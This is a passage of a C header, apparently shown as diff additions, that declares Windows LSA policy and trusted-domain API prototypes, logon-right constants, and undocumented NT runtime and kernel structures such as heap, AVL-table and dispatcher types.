SECURITY_LOGON_SESSION_DATA, * PSECURITY_LOGON_SESSION_DATA; + +NTSTATUS +NTAPI +LsaEnumerateLogonSessions( + OUT PULONG LogonSessionCount, + OUT PLUID * LogonSessionList + ); + +NTSTATUS +NTAPI +LsaGetLogonSessionData( + IN PLUID LogonId, + OUT PSECURITY_LOGON_SESSION_DATA * ppLogonSessionData + ); + +#endif +NTSTATUS +NTAPI +LsaOpenPolicy( + IN OPTIONAL PLSA_UNICODE_STRING SystemName, + IN PLSA_OBJECT_ATTRIBUTES ObjectAttributes, + IN ACCESS_MASK DesiredAccess, + OUT PLSA_HANDLE PolicyHandle + ); + + +NTSTATUS +NTAPI +LsaQueryInformationPolicy( + IN LSA_HANDLE PolicyHandle, + IN POLICY_INFORMATION_CLASS InformationClass, + OUT PVOID *Buffer + ); + +NTSTATUS +NTAPI +LsaSetInformationPolicy( + IN LSA_HANDLE PolicyHandle, + IN POLICY_INFORMATION_CLASS InformationClass, + IN PVOID Buffer + ); + +NTSTATUS +NTAPI +LsaQueryDomainInformationPolicy( + IN LSA_HANDLE PolicyHandle, + IN POLICY_DOMAIN_INFORMATION_CLASS InformationClass, + OUT PVOID *Buffer + ); + +NTSTATUS +NTAPI +LsaSetDomainInformationPolicy( + IN LSA_HANDLE PolicyHandle, + IN POLICY_DOMAIN_INFORMATION_CLASS InformationClass, + IN OPTIONAL PVOID Buffer + ); + +NTSTATUS +NTAPI +LsaRegisterPolicyChangeNotification( + IN POLICY_NOTIFICATION_INFORMATION_CLASS InformationClass, + IN HANDLE NotificationEventHandle + ); + +NTSTATUS +NTAPI +LsaUnregisterPolicyChangeNotification( + IN POLICY_NOTIFICATION_INFORMATION_CLASS InformationClass, + IN HANDLE NotificationEventHandle + ); + +NTSTATUS +NTAPI +LsaEnumerateTrustedDomains( + IN LSA_HANDLE PolicyHandle, + IN OUT PLSA_ENUMERATION_HANDLE EnumerationContext, + OUT PVOID *Buffer, + IN ULONG PreferedMaximumLength, + OUT PULONG CountReturned + ); + +NTSTATUS +NTAPI +LsaLookupNames( + IN LSA_HANDLE PolicyHandle, + IN ULONG Count, + IN PLSA_UNICODE_STRING Names, + OUT PLSA_REFERENCED_DOMAIN_LIST *ReferencedDomains, + OUT PLSA_TRANSLATED_SID *Sids + ); + +#if (_WIN32_WINNT >= 0x0501) +NTSTATUS +NTAPI +LsaLookupNames2( + IN LSA_HANDLE PolicyHandle, + IN ULONG Flags, // Reserved + IN ULONG Count, + IN PLSA_UNICODE_STRING Names, + OUT PLSA_REFERENCED_DOMAIN_LIST *ReferencedDomains, + OUT PLSA_TRANSLATED_SID2 *Sids + ); +#endif + +NTSTATUS +NTAPI +LsaLookupSids( + IN LSA_HANDLE PolicyHandle, + IN ULONG Count, + IN PSID *Sids, + OUT PLSA_REFERENCED_DOMAIN_LIST *ReferencedDomains, + OUT PLSA_TRANSLATED_NAME *Names + ); + +#define SE_INTERACTIVE_LOGON_NAME TEXT("SeInteractiveLogonRight") +#define SE_NETWORK_LOGON_NAME TEXT("SeNetworkLogonRight") +#define SE_BATCH_LOGON_NAME TEXT("SeBatchLogonRight") +#define SE_SERVICE_LOGON_NAME TEXT("SeServiceLogonRight") +#define SE_DENY_INTERACTIVE_LOGON_NAME TEXT("SeDenyInteractiveLogonRight") +#define SE_DENY_NETWORK_LOGON_NAME TEXT("SeDenyNetworkLogonRight") +#define SE_DENY_BATCH_LOGON_NAME TEXT("SeDenyBatchLogonRight") +#define SE_DENY_SERVICE_LOGON_NAME TEXT("SeDenyServiceLogonRight") +#if (_WIN32_WINNT >= 0x0501) +#define SE_REMOTE_INTERACTIVE_LOGON_NAME TEXT("SeRemoteInteractiveLogonRight") +#define SE_DENY_REMOTE_INTERACTIVE_LOGON_NAME TEXT("SeDenyRemoteInteractiveLogonRight") +#endif + +NTSTATUS +NTAPI +LsaEnumerateAccountsWithUserRight( + IN LSA_HANDLE PolicyHandle, + IN OPTIONAL PLSA_UNICODE_STRING UserRight, + OUT PVOID *Buffer, + OUT PULONG CountReturned + ); + +NTSTATUS +NTAPI +LsaEnumerateAccountRights( + IN LSA_HANDLE PolicyHandle, + IN PSID AccountSid, + OUT PLSA_UNICODE_STRING *UserRights, + OUT PULONG CountOfRights + ); + +NTSTATUS +NTAPI +LsaAddAccountRights( + IN LSA_HANDLE PolicyHandle, + IN PSID AccountSid, + IN PLSA_UNICODE_STRING UserRights, + IN ULONG CountOfRights + ); + +NTSTATUS +NTAPI +LsaRemoveAccountRights( + IN LSA_HANDLE PolicyHandle, + IN PSID AccountSid, + IN BOOLEAN AllRights, + IN LSA_UNICODE_STRING UserRights, + IN ULONG CountOfRights + ); + +/////////////////////////////////////////////////////////////////////////////// +// // +// Local Security Policy - Trusted Domain Object API function prototypes // +// // +/////////////////////////////////////////////////////////////////////////////// + +NTSTATUS +NTAPI +LsaOpenTrustedDomainByName( + IN LSA_HANDLE PolicyHandle, + IN PLSA_UNICODE_STRING TrustedDomainName, + IN ACCESS_MASK DesiredAccess, + OUT PLSA_HANDLE TrustedDomainHandle + ); + +NTSTATUS +NTAPI +LsaQueryTrustedDomainInfo( + IN LSA_HANDLE PolicyHandle, + IN PSID TrustedDomainSid, + IN TRUSTED_INFORMATION_CLASS InformationClass, + OUT PVOID *Buffer + ); + +NTSTATUS +NTAPI +LsaSetTrustedDomainInformation( + IN LSA_HANDLE PolicyHandle, + IN PSID TrustedDomainSid, + IN TRUSTED_INFORMATION_CLASS InformationClass, + IN PVOID Buffer + ); + +NTSTATUS +NTAPI +LsaDeleteTrustedDomain( + IN LSA_HANDLE PolicyHandle, + IN PSID TrustedDomainSid + ); + +NTSTATUS +NTAPI +LsaQueryTrustedDomainInfoByName( + IN LSA_HANDLE PolicyHandle, + IN PLSA_UNICODE_STRING TrustedDomainName, + IN TRUSTED_INFORMATION_CLASS InformationClass, + OUT PVOID *Buffer + ); + +NTSTATUS +NTAPI +LsaSetTrustedDomainInfoByName( + IN LSA_HANDLE PolicyHandle, + IN PLSA_UNICODE_STRING TrustedDomainName, + IN TRUSTED_INFORMATION_CLASS InformationClass, + IN PVOID Buffer + ); + +NTSTATUS +NTAPI +LsaEnumerateTrustedDomainsEx( + IN LSA_HANDLE PolicyHandle, + IN OUT PLSA_ENUMERATION_HANDLE EnumerationContext, + OUT PVOID *Buffer, + IN ULONG PreferedMaximumLength, + OUT PULONG CountReturned + ); + +NTSTATUS +NTAPI +LsaCreateTrustedDomainEx( + IN LSA_HANDLE PolicyHandle, + IN PTRUSTED_DOMAIN_INFORMATION_EX TrustedDomainInformation, + IN PTRUSTED_DOMAIN_AUTH_INFORMATION AuthenticationInformation, + IN ACCESS_MASK DesiredAccess, + OUT PLSA_HANDLE TrustedDomainHandle + ); + +#if (_WIN32_WINNT >= 0x0501) +NTSTATUS +NTAPI +LsaQueryForestTrustInformation( + IN LSA_HANDLE PolicyHandle, + IN PLSA_UNICODE_STRING TrustedDomainName, + OUT PLSA_FOREST_TRUST_INFORMATION * ForestTrustInfo + ); + +NTSTATUS +NTAPI +LsaSetForestTrustInformation( + IN LSA_HANDLE PolicyHandle, + IN PLSA_UNICODE_STRING TrustedDomainName, + IN PLSA_FOREST_TRUST_INFORMATION ForestTrustInfo, + IN BOOLEAN CheckOnly, + OUT PLSA_FOREST_TRUST_COLLISION_INFORMATION * CollisionInfo + ); + +// #define TESTING_MATCHING_ROUTINE +#ifdef TESTING_MATCHING_ROUTINE + +NTSTATUS +NTAPI +LsaForestTrustFindMatch( + IN LSA_HANDLE PolicyHandle, + IN ULONG Type, + IN PLSA_UNICODE_STRING Name, + OUT PLSA_UNICODE_STRING * Match + ); + +#endif +#endif + +// +// This API sets the workstation password (equivalent of setting/getting +// the SSI_SECRET_NAME secret) +// + +NTSTATUS +NTAPI +LsaStorePrivateData( + IN LSA_HANDLE PolicyHandle, + IN PLSA_UNICODE_STRING KeyName, + IN OPTIONAL PLSA_UNICODE_STRING PrivateData + ); + +NTSTATUS +NTAPI +LsaRetrievePrivateData( + IN LSA_HANDLE PolicyHandle, + IN PLSA_UNICODE_STRING KeyName, + OUT PLSA_UNICODE_STRING * PrivateData + ); + + +ULONG +NTAPI +LsaNtStatusToWinError( + IN NTSTATUS Status + ); + +#endif // _NTLSA_IFS_ +// 04.06.2011 - end + +// +// Driver entry management APIs. +// + +typedef struct _EFI_DRIVER_ENTRY { + ULONG Version; + ULONG Length; + ULONG Id; + ULONG FriendlyNameOffset; + ULONG DriverFilePathOffset; + //WCHAR FriendlyName[ANYSIZE_ARRAY]; + //FILE_PATH DriverFilePath; +} EFI_DRIVER_ENTRY, *PEFI_DRIVER_ENTRY; + +typedef struct _EFI_DRIVER_ENTRY_LIST { + ULONG NextEntryOffset; + EFI_DRIVER_ENTRY DriverEntry; +} EFI_DRIVER_ENTRY_LIST, *PEFI_DRIVER_ENTRY_LIST; + +#define EFI_DRIVER_ENTRY_VERSION 1 +#define MAX_STACK_DEPTH 32 + +typedef struct _RTL_STACK_CONTEXT_ENTRY { + ULONG_PTR Address; // stack address + ULONG_PTR Data; // stack contents +} RTL_STACK_CONTEXT_ENTRY, * PRTL_STACK_CONTEXT_ENTRY; + +typedef struct _RTL_STACK_CONTEXT { + ULONG NumberOfEntries; + RTL_STACK_CONTEXT_ENTRY Entry[1]; +} RTL_STACK_CONTEXT, * PRTL_STACK_CONTEXT; + +typedef NTSTATUS + (NTAPI * PRTL_HEAP_COMMIT_ROUTINE)( + IN PVOID Base, + IN OUT PVOID *CommitAddress, + IN OUT PSIZE_T CommitSize + ); + +typedef struct _RTL_HEAP_PARAMETERS +{ + ULONG Length; + SIZE_T SegmentReserve; + SIZE_T SegmentCommit; + SIZE_T DeCommitFreeBlockThreshold; + SIZE_T DeCommitTotalFreeThreshold; + SIZE_T MaximumAllocationSize; + SIZE_T VirtualMemoryThreshold; + SIZE_T InitialCommit; + SIZE_T InitialReserve; + PRTL_HEAP_COMMIT_ROUTINE CommitRoutine; + SIZE_T Reserved[2]; +} RTL_HEAP_PARAMETERS, *PRTL_HEAP_PARAMETERS; + +#define HEAP_SETTABLE_USER_VALUE 0x00000100 +#define HEAP_SETTABLE_USER_FLAG1 0x00000200 +#define HEAP_SETTABLE_USER_FLAG2 0x00000400 +#define HEAP_SETTABLE_USER_FLAG3 0x00000800 +#define HEAP_SETTABLE_USER_FLAGS 0x00000e00 + +#define HEAP_CLASS_0 0x00000000 // Process heap +#define HEAP_CLASS_1 0x00001000 // Private heap +#define HEAP_CLASS_2 0x00002000 // Kernel heap +#define HEAP_CLASS_3 0x00003000 // GDI heap +#define HEAP_CLASS_4 0x00004000 // User heap +#define HEAP_CLASS_5 0x00005000 // Console heap +#define HEAP_CLASS_6 0x00006000 // User desktop heap +#define HEAP_CLASS_7 0x00007000 // CSR shared heap +#define HEAP_CLASS_8 0x00008000 // CSR port heap +#define HEAP_CLASS_MASK 0x0000f000 + +struct _RTL_AVL_TABLE; + +typedef struct _RTL_SPLAY_LINKS { + struct _RTL_SPLAY_LINKS *Parent; + struct _RTL_SPLAY_LINKS *LeftChild; + struct _RTL_SPLAY_LINKS *RightChild; +} RTL_SPLAY_LINKS; +typedef RTL_SPLAY_LINKS *PRTL_SPLAY_LINKS; + +typedef enum _TABLE_SEARCH_RESULT +{ + TableEmptyTree, + TableFoundNode, + TableInsertAsLeft, + TableInsertAsRight +} TABLE_SEARCH_RESULT; + +typedef enum _RTL_GENERIC_COMPARE_RESULTS +{ + GenericLessThan, + GenericGreaterThan, + GenericEqual +} RTL_GENERIC_COMPARE_RESULTS; + +struct _RTL_AVL_TABLE; + +typedef RTL_GENERIC_COMPARE_RESULTS (NTAPI *PRTL_AVL_COMPARE_ROUTINE)( + IN struct _RTL_AVL_TABLE *Table, + IN PVOID FirstStruct, + IN PVOID SecondStruct + ); + +typedef PVOID (NTAPI *PRTL_AVL_ALLOCATE_ROUTINE)( + IN struct _RTL_AVL_TABLE *Table, + IN CLONG ByteSize + ); + +typedef VOID (NTAPI *PRTL_AVL_FREE_ROUTINE)( + IN struct _RTL_AVL_TABLE *Table, + IN PVOID Buffer + ); + +typedef NTSTATUS (NTAPI *PRTL_AVL_MATCH_FUNCTION)( + IN struct _RTL_AVL_TABLE *Table, + IN PVOID UserData, + IN PVOID MatchData + ); + +typedef + RTL_GENERIC_COMPARE_RESULTS + (NTAPI *PRTL_AVL_COMPARE_ROUTINE) ( + struct _RTL_AVL_TABLE *Table, + PVOID FirstStruct, + PVOID SecondStruct + ); + +typedef + PVOID + (NTAPI *PRTL_AVL_ALLOCATE_ROUTINE) ( + struct _RTL_AVL_TABLE *Table, + ULONG ByteSize + ); + + +typedef + NTSTATUS + (NTAPI *PRTL_AVL_MATCH_FUNCTION) ( + struct _RTL_AVL_TABLE *Table, + PVOID UserData, + PVOID MatchData + ); + +typedef + RTL_GENERIC_COMPARE_RESULTS + (NTAPI *PRTL_GENERIC_COMPARE_ROUTINE) ( + struct _RTL_GENERIC_TABLE *Table, + PVOID FirstStruct, + PVOID SecondStruct + ); + +typedef + PVOID + (NTAPI *PRTL_GENERIC_ALLOCATE_ROUTINE) ( + struct _RTL_GENERIC_TABLE *Table, + ULONG ByteSize + ); + +typedef + VOID + (NTAPI *PRTL_GENERIC_FREE_ROUTINE) ( + struct _RTL_GENERIC_TABLE *Table, + PVOID Buffer + ); + +typedef struct _RTL_BALANCED_LINKS +{ + struct _RTL_BALANCED_LINKS *Parent; + struct _RTL_BALANCED_LINKS *LeftChild; + struct _RTL_BALANCED_LINKS *RightChild; + CHAR Balance; + UCHAR Reserved[3]; +} RTL_BALANCED_LINKS, *PRTL_BALANCED_LINKS; + +typedef struct _RTL_AVL_TABLE +{ + RTL_BALANCED_LINKS BalancedRoot; + PVOID OrderedPointer; + ULONG WhichOrderedElement; + ULONG NumberGenericTableElements; + ULONG DepthOfTree; + PRTL_BALANCED_LINKS RestartKey; + ULONG DeleteCount; + PRTL_AVL_COMPARE_ROUTINE CompareRoutine; + PRTL_AVL_ALLOCATE_ROUTINE AllocateRoutine; + PRTL_AVL_FREE_ROUTINE FreeRoutine; + PVOID TableContext; +} RTL_AVL_TABLE, *PRTL_AVL_TABLE; + +typedef struct _RTL_GENERIC_TABLE { + PRTL_SPLAY_LINKS TableRoot; + LIST_ENTRY InsertOrderList; + PLIST_ENTRY OrderedPointer; + ULONG WhichOrderedElement; + ULONG NumberGenericTableElements; + PRTL_GENERIC_COMPARE_ROUTINE CompareRoutine; + PRTL_GENERIC_ALLOCATE_ROUTINE AllocateRoutine; + PRTL_GENERIC_FREE_ROUTINE FreeRoutine; + PVOID TableContext; +} RTL_GENERIC_TABLE; +typedef RTL_GENERIC_TABLE *PRTL_GENERIC_TABLE; + +typedef struct _GENERATE_NAME_CONTEXT { + + USHORT Checksum; + BOOLEAN ChecksumInserted; + + UCHAR NameLength; // not including extension + WCHAR NameBuffer[8]; // e.g., "ntoskrnl" + + ULONG ExtensionLength; // including dot + WCHAR ExtensionBuffer[4]; // e.g., ".exe" + + ULONG LastIndexValue; + +} GENERATE_NAME_CONTEXT; +typedef GENERATE_NAME_CONTEXT *PGENERATE_NAME_CONTEXT; + +typedef struct _PREFIX_TABLE_ENTRY { + CSHORT NodeTypeCode; + CSHORT NameLength; + struct _PREFIX_TABLE_ENTRY *NextPrefixTree; + RTL_SPLAY_LINKS Links; + PSTRING Prefix; +} PREFIX_TABLE_ENTRY; +typedef PREFIX_TABLE_ENTRY *PPREFIX_TABLE_ENTRY; + +typedef struct _PREFIX_TABLE { + CSHORT NodeTypeCode; + CSHORT NameLength; + PPREFIX_TABLE_ENTRY NextPrefixTree; +} PREFIX_TABLE; +typedef PREFIX_TABLE *PPREFIX_TABLE; + +typedef struct _UNICODE_PREFIX_TABLE_ENTRY { + CSHORT NodeTypeCode; + CSHORT NameLength; + struct _UNICODE_PREFIX_TABLE_ENTRY *NextPrefixTree; + struct _UNICODE_PREFIX_TABLE_ENTRY *CaseMatch; + RTL_SPLAY_LINKS Links; + PUNICODE_STRING Prefix; +} UNICODE_PREFIX_TABLE_ENTRY; +typedef UNICODE_PREFIX_TABLE_ENTRY *PUNICODE_PREFIX_TABLE_ENTRY; + +typedef struct _UNICODE_PREFIX_TABLE { + CSHORT NodeTypeCode; + CSHORT NameLength; + PUNICODE_PREFIX_TABLE_ENTRY NextPrefixTree; + PUNICODE_PREFIX_TABLE_ENTRY LastNextEntry; +} UNICODE_PREFIX_TABLE; +typedef UNICODE_PREFIX_TABLE *PUNICODE_PREFIX_TABLE; + +#define COMPRESSION_FORMAT_NONE (0x0000) // winnt +#define COMPRESSION_FORMAT_DEFAULT (0x0001) // winnt +#define COMPRESSION_FORMAT_LZNT1 (0x0002) // winnt + +#define COMPRESSION_ENGINE_STANDARD (0x0000) // winnt +#define COMPRESSION_ENGINE_MAXIMUM (0x0100) // winnt +#define COMPRESSION_ENGINE_HIBER (0x0200) // winnt + +typedef struct _COMPRESSED_DATA_INFO { + + USHORT CompressionFormatAndEngine; + + UCHAR CompressionUnitShift; + UCHAR ChunkShift; + UCHAR ClusterShift; + UCHAR Reserved; + USHORT NumberOfChunks; + ULONG CompressedChunkSizes[ANYSIZE_ARRAY]; + +} COMPRESSED_DATA_INFO; +typedef COMPRESSED_DATA_INFO *PCOMPRESSED_DATA_INFO; + +typedef struct _SECTION_IMAGE_INFORMATION { + PVOID TransferAddress; + ULONG ZeroBits; + UCHAR Alignment[4]; + SIZE_T MaximumStackSize; + SIZE_T CommittedStackSize; + ULONG SubSystemType; + union { + struct { + USHORT SubSystemMinorVersion; + USHORT SubSystemMajorVersion; + }; + ULONG SubSystemVersion; + }; + ULONG GpValue; + USHORT ImageCharacteristics; + USHORT DllCharacteristics; + USHORT Machine; + BOOLEAN ImageContainsCode; + union + { + UCHAR ImageFlags; + struct + { + BOOLEAN ComPlusNativeReady : 1; + BOOLEAN ComPlusILOnly : 1; + BOOLEAN ImageDynamicallyRelocated : 1; + BOOLEAN ImageMappedFlat : 1; + BOOLEAN Reserved : 4; + }; + }; + + ULONG LoaderFlags; + ULONG ImageFileSize; + ULONG CheckSum; +} SECTION_IMAGE_INFORMATION, *PSECTION_IMAGE_INFORMATION; + +typedef struct _SECTION_IMAGE_INFORMATION64 { + ULONGLONG TransferAddress; + ULONG ZeroBits; + ULONGLONG MaximumStackSize; + ULONGLONG CommittedStackSize; + ULONG SubSystemType; + union { + struct { + USHORT SubSystemMinorVersion; + USHORT SubSystemMajorVersion; + }; + ULONG SubSystemVersion; + }; + ULONG GpValue; + USHORT ImageCharacteristics; + USHORT DllCharacteristics; + USHORT Machine; + BOOLEAN ImageContainsCode; + BOOLEAN Spare1; + ULONG LoaderFlags; + ULONG ImageFileSize; + ULONG Reserved[ 1 ]; +} SECTION_IMAGE_INFORMATION64, *PSECTION_IMAGE_INFORMATION64; + +typedef struct _RTL_BITMAP { + ULONG SizeOfBitMap; + UCHAR Padding[4]; + PULONG Buffer; +} RTL_BITMAP; +typedef RTL_BITMAP *PRTL_BITMAP; + +#define RTL_USER_PROC_CURDIR_CLOSE 0x00000002 +#define RTL_USER_PROC_CURDIR_INHERIT 0x00000003 + +#define RTL_RANGE_SHARED 0x01 +#define RTL_RANGE_CONFLICT 0x02 + +typedef struct _RTL_RANGE_LIST { + LIST_ENTRY ListHead; + ULONG Flags; // use RANGE_LIST_FLAG_* + ULONG Count; + ULONG Stamp; +} RTL_RANGE_LIST, *PRTL_RANGE_LIST; + +typedef enum { + RtlBsdItemVersionNumber = 0x00, + RtlBsdItemProductType, + RtlBsdItemAabEnabled, + RtlBsdItemAabTimeout, + RtlBsdItemBootGood, + RtlBsdItemBootShutdown, + RtlBsdItemMax +} RTL_BSD_ITEM_TYPE, *PRTL_BSD_ITEM_TYPE; + +typedef struct _RANGE_LIST_ITERATOR { + PLIST_ENTRY RangeListHead; + PLIST_ENTRY MergedHead; + PVOID Current; + ULONG Stamp; +} RTL_RANGE_LIST_ITERATOR, *PRTL_RANGE_LIST_ITERATOR; + +typedef struct _STARTUP_ARGUMENT +{ + //ULONG Unknown[ 3 ]; + UNICODE_STRING Unknown[ 3 ]; + PRTL_USER_PROCESS_PARAMETERS Environment; +} STARTUP_ARGUMENT, *PSTARTUP_ARGUMENT; + +#define RTL_USER_PROC_PARAMS_NORMALIZED 0x00000001 +#define RTL_USER_PROC_PROFILE_USER 0x00000002 +#define RTL_USER_PROC_PROFILE_KERNEL 0x00000004 +#define RTL_USER_PROC_PROFILE_SERVER 0x00000008 +#define RTL_USER_PROC_RESERVE_1MB 0x00000020 +#define RTL_USER_PROC_RESERVE_16MB 0x00000040 +#define RTL_USER_PROC_CASE_SENSITIVE 0x00000080 +#define RTL_USER_PROC_DISABLE_HEAP_DECOMMIT 0x00000100 +#define RTL_USER_PROC_DLL_REDIRECTION_LOCAL 0x00001000 +#define RTL_USER_PROC_APP_MANIFEST_PRESENT 0x00002000 +#define RTL_USER_PROC_IMAGE_KEY_MISSING 0x00004000 +#define RTL_USER_PROC_OPTIN_PROCESS 0x00020000 + +typedef NTSTATUS (*PUSER_PROCESS_START_ROUTINE)( + PRTL_USER_PROCESS_PARAMETERS ProcessParameters + ); + +typedef NTSTATUS (*PUSER_THREAD_START_ROUTINE)( + PVOID ThreadParameter + ); + +typedef struct _RTL_USER_PROCESS_INFORMATION { + ULONG Length; + HANDLE Process; + HANDLE Thread; + CLIENT_ID ClientId; + SECTION_IMAGE_INFORMATION ImageInformation; +} RTL_USER_PROCESS_INFORMATION, *PRTL_USER_PROCESS_INFORMATION; + +typedef struct _RTL_USER_PROCESS_INFORMATION64 { + ULONG Length; + LONGLONG Process; + LONGLONG Thread; + CLIENT_ID64 ClientId; + SECTION_IMAGE_INFORMATION64 ImageInformation; +} RTL_USER_PROCESS_INFORMATION64, *PRTL_USER_PROCESS_INFORMATION64; + +#define RTL_TRACE_IN_USER_MODE 0x00000001 +#define RTL_TRACE_IN_KERNEL_MODE 0x00000002 +#define RTL_TRACE_USE_NONPAGED_POOL 0x00000004 +#define RTL_TRACE_USE_PAGED_POOL 0x00000008 + +typedef struct _RTL_RESOURCE { + + RTL_CRITICAL_SECTION CriticalSection; + + HANDLE SharedSemaphore; + ULONG NumberOfWaitingShared; + HANDLE ExclusiveSemaphore; + ULONG NumberOfWaitingExclusive; + + LONG NumberOfActive; + HANDLE ExclusiveOwnerThread; + + ULONG Flags; // See RTL_RESOURCE_FLAG_ equates below. + + PRTL_RESOURCE_DEBUG DebugInfo; +} RTL_RESOURCE, *PRTL_RESOURCE; + +#define RTL_RESOURCE_FLAG_LONG_TERM ((ULONG) 0x00000001) + +typedef struct _RTL_TRACE_BLOCK { + ULONG Magic; + ULONG Count; + ULONG Size; + + SIZE_T UserCount; + SIZE_T UserSize; + PVOID UserContext; + + struct _RTL_TRACE_BLOCK * Next; + PVOID * Trace; +} RTL_TRACE_BLOCK, * PRTL_TRACE_BLOCK; + +typedef ULONG (* RTL_TRACE_HASH_FUNCTION) (ULONG Count, PVOID * Trace); +typedef struct _RTL_TRACE_DATABASE * PRTL_TRACE_DATABASE; + +typedef struct _RTL_TRACE_ENUMERATE { + PRTL_TRACE_DATABASE Database; + ULONG Index; + PRTL_TRACE_BLOCK Block; +} RTL_TRACE_ENUMERATE, * PRTL_TRACE_ENUMERATE; + +typedef struct _KLDR_DATA_TABLE_ENTRY +{ + LIST_ENTRY InLoadOrderLinks; + PVOID ExceptionTable; + ULONG ExceptionTableSize; + PVOID GpValue; + struct _NON_PAGED_DEBUG_INFO* NonPagedDebugInfo; + PVOID DllBase; + PVOID EntryPoint; + ULONG SizeOfImage; + UNICODE_STRING FullDllName; + UNICODE_STRING BaseDllName; + ULONG Flags; + USHORT LoadCount; + USHORT __Unused5; + PVOID SectionPointer; + ULONG CheckSum; + ULONG CoverageSectionSize; + PVOID CoverageSection; + PVOID LoadedImports; + PVOID PatchInformation; +} KLDR_DATA_TABLE_ENTRY, *PKLDR_DATA_TABLE_ENTRY; // + +#define RTL_HEAP_BUSY (USHORT)0x0001 +#define RTL_HEAP_SEGMENT (USHORT)0x0002 +#define RTL_HEAP_SETTABLE_VALUE (USHORT)0x0010 +#define RTL_HEAP_SETTABLE_FLAG1 (USHORT)0x0020 +#define RTL_HEAP_SETTABLE_FLAG2 (USHORT)0x0040 +#define RTL_HEAP_SETTABLE_FLAG3 (USHORT)0x0080 +#define RTL_HEAP_SETTABLE_FLAGS (USHORT)0x00E0 +#define RTL_HEAP_UNCOMMITTED_RANGE (USHORT)0x0100 +#define RTL_HEAP_PROTECTED_ENTRY (USHORT)0x0200 + +#pragma warning(disable: 4273) // nconsistent dll linkage (winnt.h) + +typedef struct _DISPATCHER_HEADER +{ + union + { + struct + { + UCHAR Type; + union + { + UCHAR Absolute; + UCHAR NpxIrql; + }; + + union + { + UCHAR Size; + UCHAR Hand; + }; + + union + { + UCHAR Inserted; + BOOLEAN DebugActive; + }; + + }; // struct .. + volatile LONG Lock; + }; // first union .. + + LONG SignalState; + LIST_ENTRY WaitListHead; +} DISPATCHER_HEADER, *PDISPATCHER_HEADER; + +typedef struct _KEVENT +{ + DISPATCHER_HEADER Header; +} KEVENT, *PKEVENT, *PRKEVENT; + +typedef struct _KGATE +{ + DISPATCHER_HEADER Header; +} KGATE, *PKGATE; + +typedef struct _KSEMAPHORE +{ + DISPATCHER_HEADER Header; + LONG Limit; +} KSEMAPHORE, *PKSEMAPHORE; // + +typedef struct _OWNER_ENTRY +{ + ULONG OwnerThread; + LONG OwnerCount; + ULONG TableSize; +} OWNER_ENTRY, *POWNER_ENTRY; // + +typedef struct _ERESOURCE +{ + LIST_ENTRY SystemResourcesList; + OWNER_ENTRY* OwnerTable; + SHORT ActiveCount; + USHORT Flag; + KSEMAPHORE* SharedWaiters; + KEVENT* ExclusiveWaiters; + OWNER_ENTRY OwnerEntry; + ULONG ActiveEntries; + ULONG ContentionCount; + ULONG NumberOfSharedWaiters; + ULONG NumberOfExclusiveWaiters; + PVOID Address; + ULONG CreatorBackTraceIndex; + ULONG SpinLock; +} ERESOURCE, *PERESOURCE; // + +#define SET_LAST_STATUS(S)NtCurrentTeb()->LastErrorValue = RtlNtStatusToDosError(NtCurrentTeb()->LastStatusValue = (ULONG)(S)) + +#define HEAP_GRANULARITY (sizeof( HEAP_ENTRY )) +#define HEAP_GRANULARITY_SHIFT 3 + +#define HEAP_MAXIMUM_BLOCK_SIZE (USHORT)(((0x10000 << HEAP_GRANULARITY_SHIFT) - PAGE_SIZE) >> HEAP_GRANULARITY_SHIFT) + +#define HEAP_MAXIMUM_FREELISTS 128 +#define HEAP_MAXIMUM_SEGMENTS 16 + +#define HEAP_ENTRY_BUSY 0x01 +#define HEAP_ENTRY_EXTRA_PRESENT 0x02 +#define HEAP_ENTRY_FILL_PATTERN 0x04 +#define HEAP_ENTRY_VIRTUAL_ALLOC 0x08 +#define HEAP_ENTRY_LAST_ENTRY 0x10 +#define HEAP_ENTRY_SETTABLE_FLAG1 0x20 +#define HEAP_ENTRY_SETTABLE_FLAG2 0x40 +#define HEAP_ENTRY_SETTABLE_FLAG3 0x80 +#define HEAP_ENTRY_SETTABLE_FLAGS 0xE0 + +typedef struct _HEAP_LOCK +{ + union + { + RTL_CRITICAL_SECTION CriticalSection; + ERESOURCE Resource; + } Lock; +} HEAP_LOCK, *PHEAP_LOCK; + +typedef struct _HEAP_TUNING_PARAMETERS +{ + ULONG CommittThresholdShift; + ULONG MaxPreCommittThreshold; +} HEAP_TUNING_PARAMETERS, *PHEAP_TUNING_PARAMETERS; // + +typedef struct _HEAP_PSEUDO_TAG_ENTRY +{ + ULONG Allocs; + ULONG Frees; + ULONG Size; +} HEAP_PSEUDO_TAG_ENTRY, *PHEAP_PSEUDO_TAG_ENTRY; // + +typedef struct _HEAP_TAG_ENTRY +{ + ULONG Allocs; + ULONG Frees; + ULONG Size; + USHORT TagIndex; + USHORT CreatorBackTraceIndex; + WCHAR TagName[ 24 ]; +} HEAP_TAG_ENTRY, *PHEAP_TAG_ENTRY; // + +typedef struct _HEAP_ENTRY +{ + USHORT Size; + UCHAR Flags; + UCHAR SmallTagIndex; + PVOID SubSegmentCode; + USHORT PreviousSize; + UCHAR SegmentOffset; + UCHAR LFHFlags; + UCHAR UnusedBytes; + USHORT FunctionIndex; + USHORT ContextValue; + ULONG InterceptorValue; + USHORT UnusedBytesLength; + UCHAR EntryOffset; + UCHAR ExtendedBlockSignature; + ULONG Code1; + USHORT Code2; + UCHAR Code3; + UCHAR Code4; + ULONG64 AgregateCode; +} HEAP_ENTRY, *PHEAP_ENTRY; + +typedef struct _HEAP_COUNTERS +{ + ULONG TotalMemoryReserved; + ULONG TotalMemoryCommitted; + ULONG TotalMemoryLargeUCR; + ULONG TotalSizeInVirtualBlocks; + ULONG TotalSegments; + ULONG TotalUCRs; + ULONG CommittOps; + ULONG DeCommitOps; + ULONG LockAcquires; + ULONG LockCollisions; + ULONG CommitRate; + ULONG DecommittRate; + ULONG CommitFailures; + ULONG InBlockCommitFailures; + ULONG CompactHeapCalls; + ULONG CompactedUCRs; + ULONG InBlockDeccommits; + ULONG InBlockDeccomitSize; +} HEAP_COUNTERS, *PHEAP_COUNTERS; // + +typedef struct _HEAP +{ + HEAP_ENTRY Entry; + ULONG SegmentSignature; + ULONG SegmentFlags; + LIST_ENTRY SegmentListEntry; + struct _HEAP* Heap; + PVOID BaseAddress; + ULONG NumberOfPages; + PHEAP_ENTRY FirstEntry; + PHEAP_ENTRY LastValidEntry; + ULONG NumberOfUnCommittedPages; + ULONG NumberOfUnCommittedRanges; + USHORT SegmentAllocatorBackTraceIndex; + USHORT Reserved; + LIST_ENTRY UCRSegmentList; + ULONG Flags; + ULONG ForceFlags; + ULONG CompatibilityFlags; 